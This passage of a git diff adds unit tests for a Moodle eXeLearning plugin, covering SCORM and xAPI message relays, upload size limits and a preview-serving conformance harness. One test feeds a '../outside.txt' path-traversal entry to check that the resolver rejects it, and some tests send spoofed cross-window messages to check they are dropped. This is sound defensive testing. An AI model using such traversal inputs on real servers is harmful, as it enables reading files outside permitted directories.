+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : (id === 'blk' ? blocked : null)) };
+        let timerFn = null;
+        const win = {
+            addEventListener: () => {},
+            setTimeout: (fn) => { timerFn = fn; return 1; },
+            clearTimeout: () => { timerFn = null; },
+        };
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', nonce: 'N', blockedid: 'blk', watchdogms: 5 },
+            { document: doc, window: win, fetch: () => ({ catch: () => {} }) }
+        );
+        return { r, cw, iframe, blocked, fire: () => timerFn && timerFn() };
+    }
+
+    it('reveals the blocked notice and hides the iframe when ready never arrives', () => {
+        const { r, iframe, blocked, fire } = setupWatchdog();
+        r.startWatchdog();
+        fire();
+        expect(blocked.style.display).toBe('');
+        expect(iframe.style.display).toBe('none');
+    });
+
+    it('is cleared when the iframe signals ready (secure mode rendered)', () => {
+        const { r, cw, blocked, fire } = setupWatchdog();
+        r.startWatchdog();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } });
+        fire(); // no-op: watchdog was cleared.
+        expect(blocked.style.display).toBe('none');
+    });
+
+    // Fast path: an iframe element fires 'load' even when its navigation ended in an
+    // error page (e.g. an opaque token URL that 404s on a service-worker host that does
+    // not control opaque subframes). The relay then only grants a short grace before the
+    // notice, so it never sits behind the long flat watchdog (DEC-0060 / Playground).
+    function setupLoadWatchdog() {
+        let loadHandler = null;
+        const timers = [];
+        const cw = { postMessage: () => {} };
+        const iframe = {
+            contentWindow: cw,
+            style: { display: '' },
+            addEventListener: (type, fn) => { if (type === 'load') { loadHandler = fn; } },
+        };
+        const blocked = { style: { display: 'none' } };
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : (id === 'blk' ? blocked : null)) };
+        const win = {
+            addEventListener: () => {},
+            setTimeout: (fn) => { timers.push(fn); return timers.length; },
+            clearTimeout: () => {},
+        };
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', nonce: 'N', blockedid: 'blk', watchdogms: 100000, gracems: 5 },
+            { document: doc, window: win, fetch: () => ({ catch: () => {} }) }
+        );
+        return { r, cw, iframe, blocked, timers, load: () => loadHandler && loadHandler() };
+    }
+
+    it('reveals the notice on the short grace timer after the iframe loads, not the long watchdog', () => {
+        const { r, iframe, blocked, timers, load } = setupLoadWatchdog();
+        r.startWatchdog();
+        expect(timers).toHaveLength(1);   // only the flat watchdog so far.
+        load();                            // iframe finished loading (e.g. the 404 page).
+        expect(timers).toHaveLength(2);   // a short grace timer was armed.
+        timers[1]();                       // fire ONLY the grace timer (not the long one).
+        expect(blocked.style.display).toBe('');
+        expect(iframe.style.display).toBe('none');
+    });
+
+    it('does not arm the grace timer when the iframe is already ready before it loads', () => {
+        const { r, cw, blocked, timers, load } = setupLoadWatchdog();
+        r.startWatchdog();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } });
+        load();                            // ready already seen -> no grace timer.
+        expect(timers).toHaveLength(1);
+        timers.forEach((fn) => fn());      // even firing everything leaves it hidden.
+        expect(blocked.style.display).toBe('none');
+    });
+});
+
+describe('shim extra branches (coverage)', () => {
+    it('treats a window whose origin read throws as opaque', () => {
+        const win = { get origin() { throw new Error('blocked'); } };
+        expect(shim.isSandboxedOpaque(win)).toBe(true);
+    });
+
+    it('installStoragePolyfill never throws even when storage cannot be redefined', () => {
+        const win = Object.preventExtensions({});
+        expect(() => shim.installStoragePolyfill(win)).not.toThrow();
+    });
+
+    it('resolves per-iDevice scores from its own document on suspend_data', () => {
+        document.body.innerHTML = '<div class="idevice_node" id="ide-x"></div>';
+        const win = makeFakeWin();
+        shim.activate(win);
+        deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N' } });
+        win.API.LMSSetValue('cmi.suspend_data', '1. "Q"; Score: 60%; Weight: 30%');
+        win.API.LMSCommit();
+        const tracks = win.postedToParent.filter((m) => m.action === 'track');
+        expect(tracks.length).toBeGreaterThan(0);
+        expect(tracks[tracks.length - 1].itemscores).toEqual({ 'ide-x': { scorepct: 60, weighted: 30, title: 'Q' } });
+    });
+});
+
+describe('relay init wiring (coverage)', () => {
+    it('init registers message + pagehide listeners (and starts the watchdog)', () => {
+        const events = {};
+        const win = { addEventListener: (t, fn) => { events[t] = fn; }, setTimeout: () => 1, clearTimeout: () => {} };
+        const doc = { getElementById: () => null };
+        const r = relay.createRelay(
+            { iframeid: 'x', nonce: 'N', blockedid: 'blk' },
+            { document: doc, window: win, fetch: () => ({ catch: () => {} }) }
+        );
+        r.init();
+        expect(typeof events.message).toBe('function');
+        expect(typeof events.pagehide).toBe('function');
+    });
+
+    it('bootstrap init() creates a relay and starts it', () => {
+        const r = relay.init({ iframeid: 'x', nonce: 'N' });
+        expect(typeof r.onMessage).toBe('function');
+        expect(typeof r.postTrack).toBe('function');
+    });
+});
diff --git a/tests/js/scorm_tracker.test.js b/tests/js/scorm_tracker.test.js
index 65a2de8..0b0faff 100644
--- a/tests/js/scorm_tracker.test.js
+++ b/tests/js/scorm_tracker.test.js
@@ -253,3 +253,34 @@ describe('createScormApi state machine', () => {
         expect(xhr.calls.length).toBe(0);
     });
 });
+
+describe('createScormApi transport (bridge mode)', () => {
+    function cfg(transport) {
+        // No-op timers so the only send() is the explicit LMSCommit (no stray autocommit).
+        return { transport, bindUnload: false, getScoringDocument: () => document, setTimeout: () => 0, clearTimeout: () => {} };
+    }
+
+    it('clears dirty when the transport accepts the payload (no XHR)', () => {
+        let calls = 0;
+        const { api } = createScormApi(cfg(() => { calls++; return true; }));
+        api.LMSSetValue('cmi.core.score.raw', '50');
+        expect(api.LMSCommit()).toBe('true');
+        expect(calls).toBe(1);
+        // Not dirty anymore: a second commit sends nothing.
+        expect(api.LMSCommit()).toBe('true');
+        expect(calls).toBe(1);
+    });
+
+    it('keeps dirty (Commit -> "false") when the transport rejects', () => {
+        const { api } = createScormApi(cfg(() => false));
+        api.LMSSetValue('cmi.core.score.raw', '50');
+        expect(api.LMSCommit()).toBe('false');
+    });
+
+    it('reports error 101 when the transport throws', () => {
+        const { api } = createScormApi(cfg(() => { throw new Error('boom'); }));
+        api.LMSSetValue('cmi.core.score.raw', '50');
+        expect(api.LMSCommit()).toBe('false');
+        expect(api.LMSGetLastError()).toBe('101');
+    });
+});
diff --git a/tests/js/xapi_listener.test.js b/tests/js/xapi_listener.test.js
index 9e3116e..d81333a 100644
--- a/tests/js/xapi_listener.test.js
+++ b/tests/js/xapi_listener.test.js
@@ -128,6 +128,84 @@ describe('xapi_listener createListener().handleMessage', () => {
     });
 });
 
+describe('xapi_listener window-identity mode (secure / opaque origin, DEC-0065)', () => {
+    let xhr;
+    const frameWin = { name: 'package-iframe' };   // sentinel for the iframe's contentWindow.
+
+    function secureListener(extra = {}) {
+        return createListener({
+            cmid: 42,
+            trackurl: '/mod/exelearning/xapi_track.php?id=42&sesskey=abc',
+            registration: 'tok',
+            mode: 'grading',
+            expectedSource: frameWin,     // window-identity mode without a real DOM iframe.
+            xhrFactory: () => xhr,
+            ...extra,
+        });
+    }
+
+    beforeEach(() => { xhr = makeXhr(); });
+
+    it('forwards a statement from the package iframe even though the origin is the opaque "null"', () => {
+        const listener = secureListener();
+        const ok = listener.handleMessage(
+            { origin: 'null', source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s1') } });
+        expect(ok).toBe(true);
+        expect(xhr.calls.find((c) => c.method).url).toContain('xapi_track.php');
+    });
+
+    it('drops a statement from any other window, even one claiming the trusted host origin', () => {
+        const listener = secureListener();
+        expect(listener.handleMessage(
+            { origin: 'null', source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('s2') } })).toBe(false);
+        expect(listener.handleMessage(
+            { origin: HOST, source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('s3') } })).toBe(false);
+        expect(xhr.calls.length).toBe(0);
+    });
+
+    it('drops a message that carries no source', () => {
+        const listener = secureListener();
+        expect(listener.handleMessage(
+            { origin: 'null', data: { type: 'exe-xapi-statement', statement: answered('s4') } })).toBe(false);
+        expect(xhr.calls.length).toBe(0);
+    });
+
+    it('resolves the iframe by id lazily, so injection before the element exists still works', () => {
+        let frame = null;   // element not in the DOM yet (relay is injected before the iframe).
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? frame : null) };
+        const listener = createListener({
+            cmid: 42, trackurl: '/x', registration: 'tok',
+            iframeid: 'exelearningobject', document: doc, xhrFactory: () => xhr,
+        });
+        // No element -> no trusted source -> dropped (and not marked seen).
+        expect(listener.handleMessage(
+            { source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s5') } })).toBe(false);
+        // The element appears at load time -> the same source window is now trusted.
+        frame = { contentWindow: frameWin };
+        expect(listener.handleMessage(
+            { source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s6') } })).toBe(true);
+    });
+
+    it('window identity wins when both iframeid and allowedOrigin are set: origin is never consulted in secure mode', () => {
+        // Defensive: secure mode must NOT fall back to the origin check even if a future
+        // refactor leaves allowedOrigin in the config. event.source is the only anchor.
+        const listener = createListener({
+            cmid: 42, trackurl: '/x', registration: 'tok',
+            iframeid: 'exelearningobject',     // selects window-identity mode...
+            allowedOrigin: HOST,               // ...and this must be ignored, not consulted.
+            document: { getElementById: () => ({ contentWindow: frameWin }) },
+            xhrFactory: () => xhr,
+        });
+        // A message from a DIFFERENT window is rejected even though it carries the trusted host origin.
+        expect(listener.handleMessage(
+            { origin: HOST, source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('p1') } })).toBe(false);
+        // Only the real iframe window is accepted.
+        expect(listener.handleMessage(
+            { origin: HOST, source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('p2') } })).toBe(true);
+        expect(xhr.calls.length).toBeGreaterThan(0);
+    });
+});
+
 /**
  * XHR factory whose instances expose resolve(status)/fail() so a test can drive the
  * async onload/onerror callbacks deterministically.
diff --git a/tests/lib_extract_test.php b/tests/lib_extract_test.php
index 2575401..1183737 100644
--- a/tests/lib_extract_test.php
+++ b/tests/lib_extract_test.php
@@ -75,6 +75,48 @@ public function test_create_instance_extracts_package_and_injects_scorm_loader()
         $html = $index->get_content();
         $this->assertStringContainsString('<!-- mod_exelearning:scorm-loader -->', $html);
         $this->assertStringContainsString('libs/SCORM_API_wrapper.js', $html);
+
+        // The secure-mode bridge client was shipped under libs/ and injected at the top
+        // of <head> (DEC-0060).
+        foreach (['scorm_tracker.js', 'exe_scorm_bridge.js'] as $bridgefile) {
+            $f = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', $bridgefile);
+            $this->assertInstanceOf(\stored_file::class, $f);
+        }
+        $this->assertStringContainsString('<!-- mod_exelearning:scorm-bridge -->', $html);
+        $this->assertStringContainsString('libs/exe_scorm_bridge.js', $html);
+    }
+
+    /**
+     * Re-extracting the same revision refreshes the plugin-owned bridge client
+     * (scorm_tracker.js / exe_scorm_bridge.js) under libs/ — exercises the $present +
+     * refresh delete-and-recreate branch of package_manager::extract_stored() (DEC-0060).
+     * Idempotent: it must not error and the files must remain.
+     */
+    public function test_reextract_refreshes_bridge_client(): void {
+        global $DB;
+        $this->resetAfterTest();
+        $this->setAdminUser();
+
+        $course = $this->getDataGenerator()->create_course();
+        $instance = $this->getDataGenerator()->get_plugin_generator('mod_exelearning')
+            ->create_instance(['course' => $course->id]);
+        $cm = get_coursemodule_from_instance('exelearning', $instance->id);
+        $context = \context_module::instance($cm->id);
+        $revision = (int) $DB->get_field('exelearning', 'revision', ['id' => $instance->id]);
+        $fs = get_file_storage();
+
+        // Present after the first extract.
+        $before = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', 'exe_scorm_bridge.js');
+        $this->assertInstanceOf(\stored_file::class, $before);
+
+        // Re-extract the same revision: the bridge files are already present, so the
+        // refresh branch deletes and recreates them. Must stay present and not error.
+        exelearning_extract_stored_package($context->id, $revision);
+
+        foreach (['scorm_tracker.js', 'exe_scorm_bridge.js'] as $bridgefile) {
+            $f = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', $bridgefile);
+            $this->assertInstanceOf(\stored_file::class, $f);
+        }
     }
 
     /**
diff --git a/tests/local/preview/conformance_test.php b/tests/local/preview/conformance_test.php
new file mode 100644
index 0000000..d6d10e5
--- /dev/null
+++ b/tests/local/preview/conformance_test.php
@@ -0,0 +1,255 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use advanced_testcase;
+
+/**
+ * Replays the shared eXeLearning preview serving contract v2 conformance vectors
+ * (tests/fixtures/preview-contract/vectors.json, vendored verbatim from core)
+ * against this plugin's store + serving helpers, so the protocol semantics stay
+ * aligned with core and every other host. This is the Moodle port of the
+ * reference consumer src/routes/preview-session.conformance.spec.ts.
+ *
+ * @package    mod_exelearning
+ * @category   test
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\preview\serving
+ * @covers     \mod_exelearning\local\preview\session_store
+ * @covers     \mod_exelearning\local\preview\preview_session
+ * @covers     \mod_exelearning\local\preview\fixed_resources
+ */
+final class conformance_test extends advanced_testcase {
+    /** @var int The session owner (management requests run authenticated). */
+    private const OWNER = 7;
+
+    /**
+     * Replay every vector step, in order, against one session.
+     */
+    public function test_conformance_vectors(): void {
+        $this->resetAfterTest();
+
+        $vectors = json_decode(
+            file_get_contents(__DIR__ . '/../../fixtures/preview-contract/vectors.json'),
+            true
+        );
+        $this->assertSame(2, $vectors['protocolVersion']);
+
+        // Harness step 1: materialize the fixed-resource distribution root and
+        // point the resolver at it.
+        $dist = make_request_directory();
+        $resources = [];
+        foreach ($vectors['fixedResources'] as $id => $entry) {
+            $abs = $dist . '/' . $entry['path'];
+            if (!is_dir(dirname($abs))) {
+                mkdir(dirname($abs), 0777, true);
+            }
+            file_put_contents($abs, $entry['content']);
+            $resources[$id] = ['path' => $entry['path'], 'size' => strlen($entry['content'])];
+        }
+        if (!is_dir($dist . '/bundles')) {
+            mkdir($dist . '/bundles', 0777, true);
+        }
+        file_put_contents(
+            $dist . '/bundles/preview-fixed-resources.json',
+            json_encode(['schemaVersion' => 1, 'buildVersion' => 'v-test', 'resources' => $resources])
+        );
+        fixed_resources::configure($dist, $dist . '/bundles/preview-fixed-resources.json');
+
+        session_store::set_root_for_testing(make_request_directory());
+
+        $previewid = '';
+        foreach ($vectors['steps'] as $step) {
+            $previewid = $this->run_step($step, $previewid);
+        }
+
+        session_store::reset_root_for_testing();
+        fixed_resources::reset();
+    }
+
+    /**
+     * Execute one vector step and return the (possibly newly minted) previewId.
+     *
+     * @param array $step
+     * @param string $previewid
+     * @return string
+     */
+    private function run_step(array $step, string $previewid): string {
+        $path = str_replace('{previewId}', $previewid, $step['request']['path']);
+        $context = $step['id'];
+
+        if (strpos($step['request']['path'], '/api/') === 0) {
+            $response = $this->run_management($step, $previewid, $path);
+        } else {
+            $response = $this->run_serving($step, $previewid, $path);
+        }
+
+        $this->assertSame($step['expect']['status'], $response['status'], "status for {$context}");
+
+        // Substitute {previewId} in expected header string values (e.g. the
+        // bare-root redirect's relative Location) before matching.
+        $expectheaders = $step['expect']['headers'] ?? [];
+        foreach ($expectheaders as $name => $matcher) {
+            if (is_string($matcher)) {
+                $expectheaders[$name] = str_replace('{previewId}', $previewid, $matcher);
+            }
+        }
+        $this->assert_headers($expectheaders, $response['headers'] ?? [], $context);
+
+        if (isset($step['expect']['bodyText'])) {
+            $this->assertSame($step['expect']['bodyText'], $response['body'], "bodyText for {$context}");
+        } else if (isset($step['expect']['body'])) {
+            $this->assert_subset($step['expect']['body'], $response['bodyjson'], $context);
+            if (isset($response['bodyjson']['previewId'])) {
+                $previewid = $response['bodyjson']['previewId'];
+            }
+        }
+        return $previewid;
+    }
+
+    /**
+     * Dispatch a management step to the serving helpers (authenticated owner).
+     *
+     * @param array $step
+     * @param string $previewid
+     * @param string $path
+     * @return array{status:int,headers:array,bodyjson:array}
+     */
+    private function run_management(array $step, string $previewid, string $path): array {
+        $body = $step['request']['body'] ?? [];
+        if ($step['request']['method'] === 'POST' && $path === '/api/preview-session') {
+            $result = serving::create_session_response(self::OWNER);
+            return ['status' => $result['status'], 'headers' => [], 'bodyjson' => $result['body']];
+        }
+
+        $session = session_store::get_owned($previewid, self::OWNER)['session'];
+
+        if (($body['kind'] ?? '') === 'assets') {
+            $assets = [];
+            $files = [];
+            foreach ($body['entries'] as $entry) {
+                $assets[] = ['key' => $entry['key'], 'size' => strlen($entry['content'])];
+                $files[] = $entry['content'];
+            }
+            $result = serving::handle_assets_upload($session, json_encode($assets), $files);
+            return ['status' => $result['status'], 'headers' => [], 'bodyjson' => $result['body']];
+        }
+
+        if (($body['kind'] ?? '') === 'revision') {
+            $meta = $body['meta'];
+            $files = [];
+            $writes = [];
+            foreach ($body['writes'] ?? [] as $write) {
+                $writes[] = $write['path'];
+                $files[] = $write['content'];
+            }
+            $meta['writes'] = $writes;
+            $result = serving::handle_revision_upload($session, json_encode($meta), $files);
+            return ['status' => $result['status'], 'headers' => [], 'bodyjson' => $result['body']];
+        }
+
+        // DELETE.
+        session_store::delete_session($previewid);
+        return ['status' => 200, 'headers' => [], 'bodyjson' => ['success' => true]];
+    }
+
+    /**
+     * Dispatch a serving step through the authless serve path (no credentials).
+     *
+     * @param array $step
+     * @param string $previewid
+     * @param string $path
+     * @return array{status:int,headers:array,body:string}
+     */
+    private function run_serving(array $step, string $previewid, string $path): array {
+        // Split the capability tail below the serving base "/preview/", mirroring
+        // the thin serving endpoint (preview.php).
+        $tail = (strpos($path, '/preview/') === 0) ? substr($path, strlen('/preview/')) : '';
+        $parsed = serving::parse_capability_path($tail);
+
+        // Bare capability root -> 302 redirect to the entry document (relative
+        // Location), before any session lookup — as the endpoint does.
+        if ($parsed['bareroot']) {
+            return serving::redirect_to_index(
+                serving::bare_root_location($parsed['previewid'], $parsed['trailingslash'])
+            );
+        }
+
+        $session = session_store::get_for_serving($previewid);
+        if ($session === null) {
+            return serving::not_found();
+        }
+        $headers = $step['request']['headers'] ?? [];
+        return serving::serve($session, $parsed['relpath'], [
+            'ifnonematch' => $headers['If-None-Match'] ?? null,
+            'range' => $headers['Range'] ?? null,
+        ]);
+    }
+
+    /**
+     * Assert header expectations (names case-insensitive): a string is exact; an
+     * object matcher is startsWith / contains / absent.
+     *
+     * @param array $expected
+     * @param array $actual
+     * @param string $context
+     */
+    private function assert_headers(array $expected, array $actual, string $context): void {
+        $lower = [];
+        foreach ($actual as $name => $value) {
+            $lower[strtolower($name)] = $value;
+        }
+        foreach ($expected as $name => $matcher) {
+            $key = strtolower($name);
+            $value = $lower[$key] ?? null;
+            if (is_array($matcher)) {
+                if (!empty($matcher['absent'])) {
+                    $this->assertArrayNotHasKey($key, $lower, "header {$name} absent for {$context}");
+                } else if (isset($matcher['startsWith'])) {
+                    $this->assertStringStartsWith($matcher['startsWith'], (string) $value, "header {$name} for {$context}");
+                } else if (isset($matcher['contains'])) {
+                    $this->assertStringContainsString($matcher['contains'], (string) $value, "header {$name} for {$context}");
+                }
+            } else {
+                $this->assertSame($matcher, $value, "header {$name} for {$context}");
+            }
+        }
+    }
+
+    /**
+     * Recursive subset match: lists must match exactly, maps may carry extra keys.
+     *
+     * @param mixed $expected
+     * @param mixed $actual
+     * @param string $context
+     */
+    private function assert_subset($expected, $actual, string $context): void {
+        if (is_array($expected) && array_is_list($expected)) {
+            $this->assertEquals($expected, $actual, "list at {$context}");
+            return;
+        }
+        if (is_array($expected)) {
+            $this->assertIsArray($actual, "object at {$context}");
+            foreach ($expected as $key => $value) {
+                $this->assert_subset($value, $actual[$key] ?? null, "{$context}.{$key}");
+            }
+            return;
+        }
+        $this->assertSame($expected, $actual, "value at {$context}");
+    }
+}
diff --git a/tests/local/preview/fixed_resources_test.php b/tests/local/preview/fixed_resources_test.php
new file mode 100644
index 0000000..6481348
--- /dev/null
+++ b/tests/local/preview/fixed_resources_test.php
@@ -0,0 +1,124 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use advanced_testcase;
+
+/**
+ * Unit tests for the fixed-resource manifest resolver (contract v2, layer 1).
+ *
+ * @package    mod_exelearning
+ * @category   test
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\preview\fixed_resources
+ */
+final class fixed_resources_test extends advanced_testcase {
+    /** @var string Throwaway distribution root. */
+    private $root;
+
+    /**
+     * Materialize a throwaway distribution root with two fixed resources and a
+     * manifest, and point the resolver at it.
+     */
+    protected function setUp(): void {
+        parent::setUp();
+        $this->resetAfterTest();
+        $this->root = make_request_directory();
+        mkdir($this->root . '/libs/jquery', 0777, true);
+        mkdir($this->root . '/bundles', 0777, true);
+        file_put_contents($this->root . '/libs/jquery/jquery.min.js', 'window.jQuery=function(){};');
+        $manifest = [
+            'schemaVersion' => 1,
+            'buildVersion' => 'v-test',
+            'resources' => [
+                'libs/jquery/jquery.min.js' => ['path' => 'libs/jquery/jquery.min.js', 'size' => 27],
+                'ghost' => ['path' => 'libs/missing-file.js', 'size' => 0],
+                'escape' => ['path' => '../outside.txt', 'size' => 0],
+            ],
+        ];
+        file_put_contents($this->root . '/bundles/preview-fixed-resources.json', json_encode($manifest));
+        fixed_resources::configure($this->root, $this->root . '/bundles/preview-fixed-resources.json');
+    }
+
+    /**
+     * Reset the resolver cache/override after each test.
+     */
+    protected function tearDown(): void {
+        fixed_resources::reset();
+        parent::tearDown();
+    }
+
+    /**
+     * A manifest-listed id resolves to its bytes; membership is exact-match.
+     */
+    public function test_known_resource_resolves(): void {
+        $this->assertTrue(fixed_resources::has_resource('libs/jquery/jquery.min.js'));
+        $resource = fixed_resources::get_resource('libs/jquery/jquery.min.js');
+        $this->assertNotNull($resource);
+        $this->assertSame('window.jQuery=function(){};', $resource->bytes);
+        $this->assertSame(27, $resource->size);
+        $this->assertContains('libs/jquery/jquery.min.js', fixed_resources::get_manifest_ids());
+    }
+
+    /**
+     * An id absent from the manifest is a lookup miss, never a filesystem probe.
+     */
+    public function test_unknown_id_is_a_miss(): void {
+        $this->assertFalse(fixed_resources::has_resource('not/in/manifest.js'));
+        $this->assertNull(fixed_resources::get_resource('not/in/manifest.js'));
+    }
+
+    /**
+     * A listed id whose file is absent on disk resolves to null (not a fatal).
+     */
+    public function test_listed_but_missing_file_is_null(): void {
+        $this->assertTrue(fixed_resources::has_resource('ghost'));
+        $this->assertNull(fixed_resources::get_resource('ghost'));
+    }
+
+    /**
+     * A manifest path escaping the distribution root is rejected by containment,
+     * even when the target exists.
+     */
+    public function test_path_escaping_root_is_rejected(): void {
+        file_put_contents(dirname($this->root) . '/outside.txt', 'secret');
+        $this->assertTrue(fixed_resources::has_resource('escape'));
+        $this->assertNull(fixed_resources::get_resource('escape'));
+    }
+
+    /**
+     * With no manifest present the fixed layer is disabled gracefully: every
+     * lookup misses, so a revision's fixedRefs get a 422 and the client demotes.
+     */
+    public function test_absent_manifest_disables_layer(): void {
+        fixed_resources::configure($this->root, $this->root . '/bundles/does-not-exist.json');
+        $this->assertFalse(fixed_resources::has_resource('libs/jquery/jquery.min.js'));
+        $this->assertSame([], fixed_resources::get_manifest_ids());
+        $this->assertNull(fixed_resources::get_resource('libs/jquery/jquery.min.js'));
+    }
+
+    /**
+     * A manifest with the wrong schema version is treated as absent.
+     */
+    public function test_wrong_schema_version_is_ignored(): void {
+        $bad = ['schemaVersion' => 99, 'resources' => ['x' => ['path' => 'libs/jquery/jquery.min.js']]];
+        file_put_contents($this->root . '/bundles/preview-fixed-resources.json', json_encode($bad));
+        fixed_resources::configure($this->root, $this->root . '/bundles/preview-fixed-resources.json');
+        $this->assertFalse(fixed_resources::has_resource('x'));
+    }
+}
diff --git a/tests/local/preview/management_test.php b/tests/local/preview/management_test.php
new file mode 100644
index 0000000..4ca153d
--- /dev/null
+++ b/tests/local/preview/management_test.php
@@ -0,0 +1,360 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use advanced_testcase;
+
+/**
+ * Unit tests for the management-endpoint helpers (create/assets/revision wire
+ * validation and status mapping) the authenticated endpoint delegates to.
+ *
+ * @package    mod_exelearning
+ * @category   test
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\preview\serving
+ */
+final class management_test extends advanced_testcase {
+    /** @var string A valid assetKey. */
+    private const PHOTO_KEY = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57';
+
+    /** @var int Owner id. */
+    private $userid = 555;
+
+    /** @var string Current previewId. */
+    private $previewid;
+
+    /**
+     * Isolate the store and create one session.
+     */
+    protected function setUp(): void {
+        parent::setUp();
+        $this->resetAfterTest();
+        session_store::set_root_for_testing(make_request_directory());
+        $this->previewid = session_store::create_session($this->userid);
+    }
+
+    /**
+     * Reset store overrides.
+     */
+    protected function tearDown(): void {
+        session_store::reset_root_for_testing();
+        session_store::reset_limits_for_testing();
+        parent::tearDown();
+    }
+
+    /**
+     * A fresh handle for the session.
+     *
+     * @return preview_session
+     */
+    private function session(): preview_session {
+        return session_store::get_owned($this->previewid, $this->userid)['session'];
+    }
+
+    /**
+     * create-session advertises protocol 2, revision 0 and the limits block.
+     */
+    public function test_create_session_response(): void {
+        session_store::set_root_for_testing(make_request_directory());
+        $result = serving::create_session_response($this->userid);
+        $this->assertSame(201, $result['status']);
+        $this->assertSame(2, $result['body']['protocolVersion']);
+        $this->assertSame(0, $result['body']['revision']);
+        $this->assertMatchesRegularExpression(serving::UUID_RE, $result['body']['previewId']);
+        $this->assertArrayHasKey('maxBytesPerSession', $result['body']['limits']);
+    }
+
+    /**
+     * A well-formed asset upload stores the bytes (accepting a JSON-string field).
+     */
+    public function test_assets_upload_happy(): void {
+        $assets = json_encode([['key' => self::PHOTO_KEY, 'size' => 3]]);
+        $result = serving::handle_assets_upload($this->session(), $assets, ['abc']);
+        $this->assertSame(200, $result['status']);
+        $this->assertSame([self::PHOTO_KEY], $result['body']['stored']);
+    }
+
+    /**
+     * A pre-decoded assets field (multipart pre-parse) is accepted too.
+     */
+    public function test_assets_upload_accepts_predecoded_field(): void {
+        $result = serving::handle_assets_upload($this->session(), [['key' => self::PHOTO_KEY, 'size' => 1]], ['z']);
+        $this->assertSame(200, $result['status']);
+        $this->assertSame([self::PHOTO_KEY], $result['body']['stored']);
+    }
+
+    /**
+     * Malformed / misaligned asset requests are 400.
+     */
+    public function test_assets_upload_bad_requests(): void {
+        $this->assertSame(400, serving::handle_assets_upload($this->session(), 'not json', [])['status']);
+        $this->assertSame(400, serving::handle_assets_upload($this->session(), json_encode(['x']), ['a'])['status']);
+        $badentry = json_encode([['key' => self::PHOTO_KEY, 'size' => 'notanint']]);
+        $this->assertSame(400, serving::handle_assets_upload($this->session(), $badentry, ['a'])['status']);
+        $aligned = json_encode([['key' => self::PHOTO_KEY, 'size' => 1]]);
+        $this->assertSame(400, serving::handle_assets_upload($this->session(), $aligned, ['a', 'b'])['status']);
+    }
+
+    /**
+     * The byte budget is enforced on DECLARED sizes before buffering and again
+     * on ACTUAL bytes while buffering (413 either way).
+     */
+    public function test_assets_upload_two_stage_budget(): void {
+        session_store::set_limits_for_testing(['maxbytespersession' => 5]);
+
+        // Declared sizes exceed the budget: rejected before any buffering.
+        $declared = json_encode([['key' => self::PHOTO_KEY, 'size' => 100]]);
+        $this->assertSame(413, serving::handle_assets_upload($this->session(), $declared, ['x'])['status']);
+
+        // Under-reported size, real bytes overflow: rejected while buffering.
+        $underreported = json_encode([['key' => self::PHOTO_KEY, 'size' => 1]]);
+        $this->assertSame(413, serving::handle_assets_upload($this->session(), $underreported, ['0123456789'])['status']);
+    }
+
+    /**
+     * A well-formed revision publishes and returns {revision, active}.
+     */
+    public function test_revision_upload_happy(): void {
+        $meta = json_encode([
+            'baseRevision' => 0,
+            'nextRevision' => 1,
+            'writes' => ['index.html'],
+            'deletes' => [],
+            'assetRefs' => [],
+            'fixedRefs' => [],
+        ]);
